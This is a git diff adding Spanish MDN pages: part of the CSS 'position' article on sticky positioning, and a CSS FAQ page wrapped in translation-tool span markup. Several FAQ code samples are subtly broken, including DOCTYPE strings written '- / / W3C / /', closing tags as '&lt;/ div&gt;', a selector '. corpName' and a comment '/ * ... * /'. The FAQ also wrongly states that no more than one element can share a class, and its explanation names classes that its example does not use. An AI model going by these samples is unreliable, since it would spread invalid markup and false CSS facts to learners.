+<h3 id="Sticky_positioning" name="Sticky_positioning">Posicionamiento sticky</h3>
+
+<p>El posicionamiento sticky puede considerarse un híbrido de los posicionamientos relativo y fijo. Un elemento con posicionamiento sticky es tratado como un elemento posicionado relativamente hasta que cruza un umbral especificado, en cuyo punto se trata como fijo hasta que alcanza el límite de su padre. Por ejemplo...</p>
+
+<pre class="brush: css notranslate">#one { position: sticky; top: 10px; }</pre>
+
+<p>...posicionaría el elemento con id <em>uno </em>relativamente hasta que el viewport sea desplazado de manera tal que el elemento esté a menos de 10 píxeles del límite superior. Más allá de ese umbral, el elemento sería fijado a 10 píxeles del límite superior.</p>
+
+<p>Un uso común para el posicionamiento sticky es para los encabezados en una lista alfabética. El encabezado "B" aparecerá justo por debajo de los ítems que comienzan con "A" hasta que se hayan desplazado más allá de la pantalla. En vez de deslizarse fuera de la pantalla como el resto del contenido, el encabezado "B" se mantendrá fijado al límite superior del viewport hasta que todos los ítems "B" se hayan desplazado fuera de la pantalla, en cuyo punto será cubierto por el encabezado "C", y así sucesivamente.  Se debe especificar un umbral con al menos uno de <code style="">top</code><span style="">, </span><code style="">right</code><span style="">, </span><code style="">bottom</code><span style="">, or </span><code style="">left</code><span style=""> para que el posicionamiento sticky se comporte de forma esperada. Caso contrario, será indistinguible del posicionamiento relativo.</span></p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;dl&gt;
+  &lt;div&gt;
+    &lt;dt&gt;A&lt;/dt&gt;
+    &lt;dd&gt;Andrew W.K.&lt;/dd&gt;
+    &lt;dd&gt;Apparat&lt;/dd&gt;
+    &lt;dd&gt;Arcade Fire&lt;/dd&gt;
+    &lt;dd&gt;At The Drive-In&lt;/dd&gt;
+    &lt;dd&gt;Aziz Ansari&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;C&lt;/dt&gt;
+    &lt;dd&gt;Chromeo&lt;/dd&gt;
+    &lt;dd&gt;Common&lt;/dd&gt;
+    &lt;dd&gt;Converge&lt;/dd&gt;
+    &lt;dd&gt;Crystal Castles&lt;/dd&gt;
+    &lt;dd&gt;Cursive&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;E&lt;/dt&gt;
+    &lt;dd&gt;Explosions In The Sky&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;T&lt;/dt&gt;
+    &lt;dd&gt;Ted Leo &amp;amp; The Pharmacists&lt;/dd&gt;
+    &lt;dd&gt;T-Pain&lt;/dd&gt;
+    &lt;dd&gt;Thrice&lt;/dd&gt;
+    &lt;dd&gt;TV On The Radio&lt;/dd&gt;
+    &lt;dd&gt;Two Gallants&lt;/dd&gt;
+  &lt;/div&gt;
+&lt;/dl&gt;
+</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css notranslate">* {
+  box-sizing: border-box;
+}
+
+dl &gt; div {
+  background: #FFF;
+  padding: 24px 0 0 0;
+}
+
+dt {
+  background: #B8C1C8;
+  border-bottom: 1px solid #989EA4;
+  border-top: 1px solid #717D85;
+  color: #FFF;
+  font: bold 18px/21px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 2px 0 0 12px;
+  position: -webkit-sticky;
+  position: sticky;
+  top: -1px;
+}
+
+dd {
+  font: bold 20px/45px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 0 0 0 12px;
+  white-space: nowrap;
+}
+
+dd + dd {
+  border-top: 1px solid #CCC;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Sticky_positioning', '500px', '300px') }}</p>
+
+<ul>
+</ul>
+
+<h2 id="Consideraciones_de_accesibilidad">Consideraciones de accesibilidad</h2>
+
+<p>Asegurarse de que los elementos posicionados con valor <code>absolute</code> o <code>fixed</code> no oscurezcan el resto del contenido cuando la página sea ampliada para aumentar el tamaño del texto.</p>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN entendiendo el WCAG, explicaciones de los lineamientos 1.4.</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener">Presentación visual: Entendiendo SC 1.4.8 | Entendiendo WCAG 2.0</a></li>
+</ul>
+
+<h3 id="Performance_y_accesibilidad">Performance y accesibilidad</h3>
+
+<p>Los elementos que se desplazan que contienen contenido <code>fixed</code> o <code>sticky</code> content pueden ocasionar problemas de performance y accesibilidad. Mientras un usuario desplaza la página, el navegador debe realizar repaint del contenido sticky o fijo en una nueva locación. Dependiendo del contenido que precisa ser repainted, la performance del navegador y la velocidad de procesamiento del dispositivo, el navegador podría no ser capaz de realizar el repaint a 60 <abbr title="frames per second">fps</abbr>, ocasionando problemas de accesibilidad para personas con sensibilidades y desprolijidad para todos. Una solución es agregar {{cssxref("will-change", "will-change: transform")}} a los elementos posicionados para renderizar el elemento en su propia capa, mejorando la velocidad del repaint y por lo tanto mejorando performance y accesibilidad.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#propdef-position', 'position')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Positioning','#position-property','position')}}</td>
+   <td>{{Spec2('CSS3 Positioning')}}</td>
+   <td>Añade valor de la propiedad <code>sticky</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada por una data estructurada. Si deseas contribuir a la data, por favor entra a <a href="https://github.com/mdn/browser-compat-data" rel="noopener">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</div>
+
+<p>{{Compat("css.properties.position")}}</p>
diff --git a/files/es/web/css/preguntas_frecuentes_sobre_css/index.html b/files/es/web/css/preguntas_frecuentes_sobre_css/index.html
new file mode 100644
index 0000000000..36c2fa1317
--- /dev/null
+++ b/files/es/web/css/preguntas_frecuentes_sobre_css/index.html
@@ -0,0 +1,118 @@
+---
+title: Preguntas frecuentes sobre CSS
+slug: Web/CSS/Preguntas_frecuentes_sobre_CSS
+tags:
+  - CSS
+  - Proyecto MDC
+translation_of: Learn/CSS/Howto/CSS_FAQ
+---
+<h4 id="My_CSS_is_valid.2C_but_not_correctly_rendered" name="My_CSS_is_valid.2C_but_not_correctly_rendered"><span class="goog-gtc-unit" id="goog-gtc-unit-2"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Mi CSS es válida, pero no se representa correctamente</span></span></h4>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Los navegadores utilizan la declaración <code>DOCTYPE</code> para elegir entre mostrar el documento usando un modo que sea más compatible con los estándares de la Web o mostrarlo con los fallos de los navegadores antiguos.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El uso de una declaración <code>DOCTYPE</code> correcta y moderna al inicio del código HTML mejorará el cumplimiento de los estándares del navegador.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Los navegadores modernos tienen fundamentalmente dos modos de renderizado:</span></span></p>
+<ul> <li><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""><em>Quirks mode</em> (Modo no estándar): también se llama el modo de compatibilidad con versiones anteriores y permite que las páginas web heredadas se representen como sus autores habían previsto, siguiendo las normas de representación o renderizado no estándares que usan los navegadores antiguos.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Los documentos con una declaración <code>DOCTYPE</code> incompleta, incorrecta o faltante o con una declaración <code>DOCTYPE</code> conocida que se usara habitualmente antes de 2001 se representarán en el Modo no estándar.</span></span></li> <li><span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""><em>Standards Mode</em> (Modo estándar): el navegador intenta seguir estrictamente los estándares del W3C.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Se supone que las nuevas páginas HTML se diseñarán para navegadores compatibles con los estándares, y como resultado, las páginas con una declaración <code>DOCTYPE</code> moderna será renderizada con el Modo estándar.</span></span></li>
+</ul>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Los navegadores basados en Gecko tienen un tercer <em><a href="/en/Gecko's_&quot;Almost_Standards&quot;_Mode" title="en/Gecko's &quot;Almost Standards&quot; Mode">Modo casi estándar</a></em> que tiene solo una peculiaridades menores.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Esta es una lista de las declaraciones <code>DOCTYPE</code> más utilizadas que activarán el Modo estándar o el Modo casi estándar:</span></span></p>
+<pre><span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">&lt;!</span></span><span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">DOCTYPE HTML PUBLIC "- / / W3C / / DTD HTML 4.0 Transitional / / EN"</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">"http://www.w3.org/TR/html4/loose.dtd"&gt;</span></span>
+
+<span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">&lt;!</span></span><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">DOCTYPE HTML PUBLIC "- / / W3C / / DTD HTML 4.01 / / EN"</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">"http://www.w3.org/TR/html4/strict.dtd"&gt;</span></span>
+
+<span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">&lt;!</span></span><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">DOCTYPE HTML PUBLIC "- / / W3C / / DTD XHTML 1.0 Transitional / / EN"</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;</span></span>
+
+<span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">&lt;!</span></span><span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">DOCTYPE HTML PUBLIC "- / / W3C / / DTD XHTML 1.0 Strict / / EN"</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;</span></span>
+</pre>
+<h4 id="Difference_between_id_and_class" name="Difference_between_id_and_class"><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Diferencia entre <code>id</code> y <code>class</code></span></span></h4>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-25"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Los elementos HTML pueden tener un atributo <code>id</code> y / o un atributo <code>class</code>.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-26"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El atributo <code>id</code> asigna un nombre a un elemento determinado y debe haber un solo elemento con ese nombre.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-27"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El atributo <code>class</code> asigna un elemento a una determinada clase y en general no puede haber más de un elemento con el mismo atributo <code>class</code>.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-28"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">CSS te permite aplicar estilos a un atributo <code>id</code> y / o <code>class</code> concreto.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-29"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Utiliza un estilo específico de <code>id</code> cuando desees restringir las reglas de estilo a un bloque o elemento concreto.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-30"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Este estilo lo usará <strong>un solo</strong> elemento con ese <code>id</code> concreto.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-31"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Usa un estilo específico de <code>class</code> cuando desees aplicar las reglas de estilo a una determinada clase de bloques y elementos.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-32"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Consulta <a href="/en/CSS/Getting_Started/Selectors" title="en/CSS/Getting Started/Selectors">Selectores CSS</a></span></span></p>
+<h4 id="Restoring_the_default_property_value" name="Restoring_the_default_property_value"><span class="goog-gtc-unit" id="goog-gtc-unit-33"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Restaurar el valor de la propiedad predeterminado</span></span></h4>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-34"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Debido a que CSS no proporciona una palabra clave "predeterminada", la única manera de restaurar el valor predeterminado de una propiedad es volver a declarar explícitamente dicha propiedad.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-35"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Por lo tanto, debes tener especial cuidado al escribir reglas de estilo usando selectores (por ejemplo, los selectores por nombre de etiqueta, como <code>p</code> ) que tal vez desees reemplazar con reglas más específicas (como las que usan id o selectores de clase), porque el valor predeterminado original no puede restablecerse automáticamente.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-36"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Debido a la naturaleza <em>en cascada</em> de CSS, es una buena práctica definir reglas de estilo de una manera lo más concreta posible para evitar aplicar estilo a elementos a los que no se tenía previsto aplicar.</span></span></p>
+<h4 id="Derived_styles" name="Derived_styles"><span class="goog-gtc-unit" id="goog-gtc-unit-37"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Estilos derivados</span></span></h4>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-38"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">CSS no permite que se defina un estilo según los términos de otro.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-39"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">(Consulta la <a class="external" href="http://archivist.incutio.com/viewlist/css-discuss/2685" title="http://archivist.incutio.com/viewlist/css-discuss/2685">nota de Eric Meyer acerca de la postura del Grupo de trabajo)</a>.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-40"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Sin embargo, la asignación de múltiples clases a un solo elemento puede proporcionar el mismo efecto.</span></span></p>
+<h4 id="Assigning_multiple_classes" name="Assigning_multiple_classes"><span class="goog-gtc-unit" id="goog-gtc-unit-41"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Asignación de múltiples clases</span></span></h4>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-42"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">A los elementos HTML se les pueden asignar varias clases listándolas  en el atributo <code>class</code>, con un espacio en blanco para separarlas.</span></span></p>
+<pre><span class="goog-gtc-unit" id="goog-gtc-unit-43"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">&lt;style type="text/css"&gt;</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-44"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">.news { background: black; color: white; }</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-45"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">.today { font-weight: bold; }</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-46"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;/style&gt;</span></span>
+
+<span class="goog-gtc-unit" id="goog-gtc-unit-47"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">&lt;div class="news today"&gt;</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-48"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">... contenido de las noticias de hoy ...</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-49"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;/ div&gt;</span></span>
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-50"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Si la misma propiedad se declara en ambas reglas, el conflicto se resuelve primero a través de la especificidad, a continuación, según el orden de las declaraciones CSS.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-51"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El orden de las clases en el atributo <code>class</code> no es relevante.</span></span></p>
+<h4 id="Style_rules_that_don.27t_work" name="Style_rules_that_don.27t_work"><span class="goog-gtc-unit" id="goog-gtc-unit-52"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Normas de estilo que no funcionan</span></span></h4>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-53"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Las reglas de estilo que son sintácticamente correctas pueden no aplicarse en determinadas situaciones.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-54"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Puedes utilizar las <em>Reglas de estilo de CSS</em> del <a href="/en/DOM_Inspector" title="en/DOM Inspector">Inspector DOM</a> para depurar los problemas de este tipo, pero los casos más frecuentes en los que se ignoran las reglas de estilo se enumeran a continuación.</span></span></p>
+<h5 id="HTML_elements_hierarchy" name="HTML_elements_hierarchy"><span class="goog-gtc-unit" id="goog-gtc-unit-55"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Jerarquía de los elementos HTML</span></span></h5>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-56"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La forma en que se aplican los estilos CSS a los elementos HTML depende también de la jerarquía de los elementos.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-57"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Es importante recordar que una regla que se aplica a un descendiente reemplaza el estilo del padre, a pesar de la especificidad o la prioridad de las reglas CSS.</span></span></p>
+<pre><span class="goog-gtc-unit" id="goog-gtc-unit-58"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">.news { color: black; }</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-59"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">. corpName {font-weight: bold; color: red;}</span></span>
+
+<span class="goog-gtc-unit" id="goog-gtc-unit-60"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;!-- el texto de la noticia es negro, pero el nombre de la empresa va en rojo y negrita --&gt;</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-61"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;div class="news"&gt;</span></span>
+   <span class="goog-gtc-unit" id="goog-gtc-unit-62"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">(Reuters) &lt;span class="corpName"&gt; General Electric &lt;/ span&gt; (GE.NYS) anunció el jueves ...</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-63"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;/ div&gt;</span></span>
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-64"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">En el caso de jerarquías HTML complejas, si parece que se ignora una regla, comprueba si el elemento está dentro de otro elemento con un estilo diferente.</span></span></p>
+<h5 id="Explicitly_re-defined_style_rule" name="Explicitly_re-defined_style_rule"><span class="goog-gtc-unit" id="goog-gtc-unit-65"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Regla de estilo explícitamente redefinida</span></span></h5>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-66"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">En las hojas de estilo CSS el orden <strong>es</strong> importante.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-67"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Si defines una regla y luego vuelves a definirla, se usará la última definición.</span></span></p>
+<pre><span class="goog-gtc-unit" id="goog-gtc-unit-68"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">#stockTicker { font-weight: bold; }</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-69"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">.stockSymbol { color: red; }</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-70"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">/*  otras reglas             */</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-71"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">/*  otras reglas             */</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-72"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">/*  otras reglas             */</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-73"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">.stockSymbol { font-weight: normal; }</span></span>
+
+<span class="goog-gtc-unit" id="goog-gtc-unit-74"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;!-- la mayor parte del texto va en negrita, con excepción de "GE", que va en rojo y no en negrita --&gt;</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-75"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;div id="stockTicker"&gt;</span></span>
+   <span class="goog-gtc-unit" id="goog-gtc-unit-76"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">NYS: &lt;span class="stockSymbol"&gt;GE&lt;/span&gt; +1.0 ...</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-77"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;/ div&gt;</span></span>
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-78"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Para evitar este tipo de errores, intenta definir las reglas solo una vez para un selector determinado y agrupa todas las reglas que pertenecen a ese selector.</span></span></p>
+<h5 id="Use_of_a_shorthand_property" name="Use_of_a_shorthand_property"><span class="goog-gtc-unit" id="goog-gtc-unit-79"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Uso de una propiedad abreviada</span></span></h5>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-80"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Está bien usar las propiedades abreviadas para la definición de reglas de estilo, ya que utiliza una sintaxis muy compacta.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-81"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Usar la abreviatura con sólo algunos atributos es posible y correcto, pero hay que recordar que los atributos no declarados se restablecen a los valores predeterminados automáticamente.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-82"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Esto significa que una norma anterior para un solo atributo podría ser reemplazada implícitamente.</span></span></p>
+<pre><span class="goog-gtc-unit" id="goog-gtc-unit-83"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-84"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">.stockSymbol { font: 14px Arial; color: red; }</span></span>
+
+<span class="goog-gtc-unit" id="goog-gtc-unit-85"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;div id="stockTicker"&gt;</span></span>
+   <span class="goog-gtc-unit" id="goog-gtc-unit-86"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">NYS: &lt;span class="stockSymbol"&gt;GE&lt;/span&gt; +1.0 ...</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-87"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;/ div&gt;</span></span>
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-88"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">En el ejemplo anterior el problema se produjo en las reglas que pertencían a distintos elementos, pero puede ocurrir también para el mismo elemento, porque el orden de las reglas <strong>es</strong> importante.</span></span></p>
+<pre><span class="goog-gtc-unit" id="goog-gtc-unit-89"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">#stockTicker {</span></span>
+   <span class="goog-gtc-unit" id="goog-gtc-unit-90"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">font-weight: bold;</span></span>
+   <span class="goog-gtc-unit" id="goog-gtc-unit-91"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">font: 12px Verdana; / * font-weight es ahora normal * /</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-92"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">}</span></span>
+</pre>
+<h5 id="Use_of_the_.2A_selector" name="Use_of_the_.2A_selector"><span class="goog-gtc-unit" id="goog-gtc-unit-93"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Uso del selector <code>*</code></span></span></h5>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-94"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El selector <code>*</code> se refiere a cualquier elemento y tiene que utilizarse con especial cuidado.</span></span></p>
+<pre><span class="goog-gtc-unit" id="goog-gtc-unit-95"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">body * { font-weight: normal; }</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-96"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">#stockTicker { font: 12px Verdana; }</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-97"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">.corpName { font-weight: bold; }</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-98"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">.stockUp { color: red; }</span></span>
+
+<span class="goog-gtc-unit" id="goog-gtc-unit-99"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;div id="section"&gt;</span></span>
+   <span class="goog-gtc-unit" id="goog-gtc-unit-100"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">NYS: &lt;span class="corpName"&gt;&lt;span class="stockUp"&gt;GE&lt;/span&gt;&lt;/span&gt; +1.0 ...</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-101"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;/ div&gt;</span></span>
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-102"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">En este ejemplo, el selector <code>body *</code> aplica la regla a todos los elementos dentro del cuerpo (<em>body</em>), en cualquier nivel de jerarquía, incluyendo <em>redtext.</em></span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-103"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Así <code>font-weight: bold;</code> aplicada a la clase <em>boldtext</em> se reemplaza por <code>font-weight: normal;</code> aplicada a <em>redtext.</em></span></span></p>
+<h5 id="Specificity_in_CSS" name="Specificity_in_CSS"><span class="goog-gtc-unit" id="goog-gtc-unit-104"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Especificidad en CSS</span></span></h5>
